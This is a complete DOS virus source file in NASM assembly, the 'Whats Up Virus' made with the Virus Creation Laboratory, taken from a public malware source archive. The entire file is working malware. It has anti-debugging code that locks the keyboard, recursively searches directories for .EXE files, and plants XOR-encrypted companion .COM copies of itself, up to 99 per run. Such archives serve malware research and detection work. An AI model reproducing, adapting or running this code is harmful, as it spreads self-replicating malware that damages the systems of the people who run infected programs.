mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 06:25:27 +00:00
300 lines
8.1 KiB
NASM
300 lines
8.1 KiB
NASM
; WHATSUP.ASM -- Whats Up Virus
|
|
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
|
; Written by Unknown User
|
|
|
|
virus_type equ 2 ; Spawning Virus
|
|
is_encrypted equ 1 ; We're encrypted
|
|
tsr_virus equ 0 ; We're not TSR
|
|
|
|
code segment byte public
|
|
assume cs:code,ds:code,es:code,ss:code
|
|
org 0100h
|
|
|
|
start label near
|
|
|
|
main proc near
|
|
call encrypt_decrypt ; Decrypt the virus
|
|
|
|
start_of_code label near
|
|
|
|
stop_tracing: mov cx,09EBh
|
|
mov ax,0FE05h ; Acutal move, plus a HaLT
|
|
jmp $-2
|
|
add ah,03Bh ; AH now equals 025h
|
|
jmp $-10 ; Execute the HaLT
|
|
mov bx,offset null_vector ; BX points to new routine
|
|
push cs ; Transfer CS into ES
|
|
pop es ; using a PUSH/POP
|
|
int 021h
|
|
mov al,1 ; Disable interrupt 1, too
|
|
int 021h
|
|
jmp short skip_null ; Hop over the loop
|
|
null_vector: jmp $ ; An infinite loop
|
|
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
|
lock_keys: mov al,128 ; Change here screws DEBUG
|
|
out 021h,al ; If tracing then lock keyboard
|
|
|
|
|
|
mov ah,04Ah ; DOS resize memory function
|
|
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
|
|
int 021h
|
|
|
|
mov sp,(finish - start) + 01100h ; Change top of stack
|
|
|
|
mov si,offset spawn_name ; SI points to true filename
|
|
int 02Eh ; DOS execution back-door
|
|
push ax ; Save return value for later
|
|
|
|
mov ax,cs ; AX holds code segment
|
|
mov ds,ax ; Restore data segment
|
|
mov es,ax ; Restore extra segment
|
|
|
|
mov cx,0063h ; Do 99 infections
|
|
search_loop: push cx ; Save CX
|
|
call search_files ; Find and infect a file
|
|
pop cx ; Restore CX
|
|
loop search_loop ; Repeat until CX is 0
|
|
|
|
pop ax ; AL holds return value
|
|
mov ah,04Ch ; DOS terminate function
|
|
int 021h
|
|
main endp
|
|
|
|
|
|
db 06Fh,050h,0CAh,0F9h,065h
|
|
|
|
search_files proc near
|
|
push bp ; Save BP
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,64 ; Allocate 64 bytes on stack
|
|
|
|
mov ah,047h ; DOS get current dir function
|
|
xor dl,dl ; DL holds drive # (current)
|
|
lea si,[bp - 64] ; SI points to 64-byte buffer
|
|
int 021h
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
mov dx,offset root ; DX points to root directory
|
|
int 021h
|
|
|
|
call traverse ; Start the traversal
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 64] ; DX points to old directory
|
|
int 021h
|
|
|
|
mov sp,bp ; Restore old stack pointer
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
|
|
root db "\",0 ; Root directory
|
|
search_files endp
|
|
|
|
traverse proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first function
|
|
mov cx,00010000b ; CX holds search attributes
|
|
mov dx,offset all_files ; DX points to "*.*"
|
|
int 021h
|
|
jc leave_traverse ; Leave if no files present
|
|
|
|
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
|
jne another_dir ; If not, try again
|
|
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
|
je another_dir ;If so, keep going
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 98] ; DX points to new directory
|
|
int 021h
|
|
|
|
call traverse ; Recursively call ourself
|
|
|
|
pushf ; Save the flags
|
|
mov ah,03Bh ; DOS change directory function
|
|
mov dx,offset up_dir ; DX points to parent directory
|
|
int 021h
|
|
popf ; Restore the flags
|
|
|
|
jnc done_searching ; If we infected then exit
|
|
|
|
another_dir: mov ah,04Fh ; DOS find next function
|
|
int 021h
|
|
jnc check_dir ; If found check the file
|
|
|
|
leave_traverse:
|
|
mov dx,offset exe_mask ; DX points to "*.EXE"
|
|
call find_files ; Try to infect a file
|
|
done_searching: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
|
|
up_dir db "..",0 ; Parent directory name
|
|
all_files db "*.*",0 ; Directories to search for
|
|
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
|
traverse endp
|
|
|
|
db 0B1h,043h,04Ah,043h,07Bh
|
|
|
|
|
|
find_files proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
push dx ; Save file mask
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds all file attributes
|
|
pop dx ; Restore file mask
|
|
find_a_file: int 021h
|
|
jc done_finding ; Exit if no files found
|
|
call infect_file ; Infect the file!
|
|
jnc done_finding ; Exit if no error
|
|
mov ah,04Fh ; DOS find next file function
|
|
jmp short find_a_file ; Try finding another file
|
|
|
|
done_finding: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
find_files endp
|
|
|
|
db 011h,019h,099h,0B6h,0BDh
|
|
|
|
infect_file proc near
|
|
mov ah,02Fh ; DOS get DTA address function
|
|
int 021h
|
|
mov di,bx ; DI points to the DTA
|
|
|
|
lea si,[di + 01Eh] ; SI points to file name
|
|
mov dx,si ; DX points to file name, too
|
|
mov di,offset spawn_name + 1; DI points to new name
|
|
xor ah,ah ; AH holds character count
|
|
transfer_loop: lodsb ; Load a character
|
|
or al,al ; Is it a NULL?
|
|
je transfer_end ; If so then leave the loop
|
|
inc ah ; Add one to the character count
|
|
stosb ; Save the byte in the buffer
|
|
jmp short transfer_loop ; Repeat the loop
|
|
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
|
|
mov byte ptr [di],13 ; Make CR the final character
|
|
|
|
mov di,dx ; DI points to file name
|
|
xor ch,ch ;
|
|
mov cl,ah ; CX holds length of filename
|
|
mov al,'.' ; AL holds char. to search for
|
|
repne scasb ; Search for a dot in the name
|
|
mov word ptr [di],'OC' ; Store "CO" as first two bytes
|
|
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
|
|
|
|
mov byte ptr [set_carry],0 ; Assume we'll fail
|
|
mov ax,03D00h ; DOS open file function, r/o
|
|
int 021h
|
|
jnc infection_done ; File already exists, so leave
|
|
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
|
|
|
mov ah,03Ch ; DOS create file function
|
|
mov cx,00100111b ; CX holds file attributes (all)
|
|
int 021h
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
call encrypt_code ; Write an encrypted copy
|
|
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
|
|
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
|
ret ; Return to caller
|
|
|
|
spawn_name db 12,12 dup (?),13 ; Name for next spawn
|
|
set_carry db ? ; Set-carry-on-exit flag
|
|
infect_file endp
|
|
|
|
|
|
vcl_marker db "[VCL]",0 ; VCL creation marker
|
|
|
|
|
|
note db "Whats Up Virus"
|
|
db "By White Shark"
|
|
db "Mess with the White Shark and"
|
|
db "you'll be eaten alive!"
|
|
|
|
encrypt_code proc near
|
|
mov si,offset encrypt_decrypt; SI points to cipher routine
|
|
|
|
xor ah,ah ; BIOS get time function
|
|
int 01Ah
|
|
mov word ptr [si + 8],dx ; Low word of timer is new key
|
|
|
|
xor byte ptr [si],1 ;
|
|
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
|
xor word ptr [si + 10],0101h; (and vice-versa)
|
|
|
|
mov di,offset finish ; Copy routine into heap
|
|
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
|
push si ; Save SI for later
|
|
push cx ; Save CX for later
|
|
rep movsb ; Copy the bytes
|
|
|
|
mov si,offset write_stuff ; SI points to write stuff
|
|
mov cx,5 ; CX holds length of write
|
|
rep movsb ; Copy the bytes
|
|
|
|
pop cx ; Restore CX
|
|
pop si ; Restore SI
|
|
inc cx ; Copy the RET also this time
|
|
rep movsb ; Copy the routine again
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
mov dx,offset start ; DX points to virus
|
|
|
|
call finish ; Encrypt/write/decrypt
|
|
|
|
ret ; Return to caller
|
|
|
|
write_stuff: mov cx,finish - start ; Length of code
|
|
int 021h
|
|
encrypt_code endp
|
|
|
|
end_of_code label near
|
|
|
|
encrypt_decrypt proc near
|
|
mov si,offset start_of_code ; SI points to code to decrypt
|
|
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
|
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
|
inc si ; Do the next word
|
|
inc si ;
|
|
loop xor_loop ; Loop until we're through
|
|
ret ; Return to caller
|
|
encrypt_decrypt endp
|
|
finish label near
|
|
|
|
code ends
|
|
end main |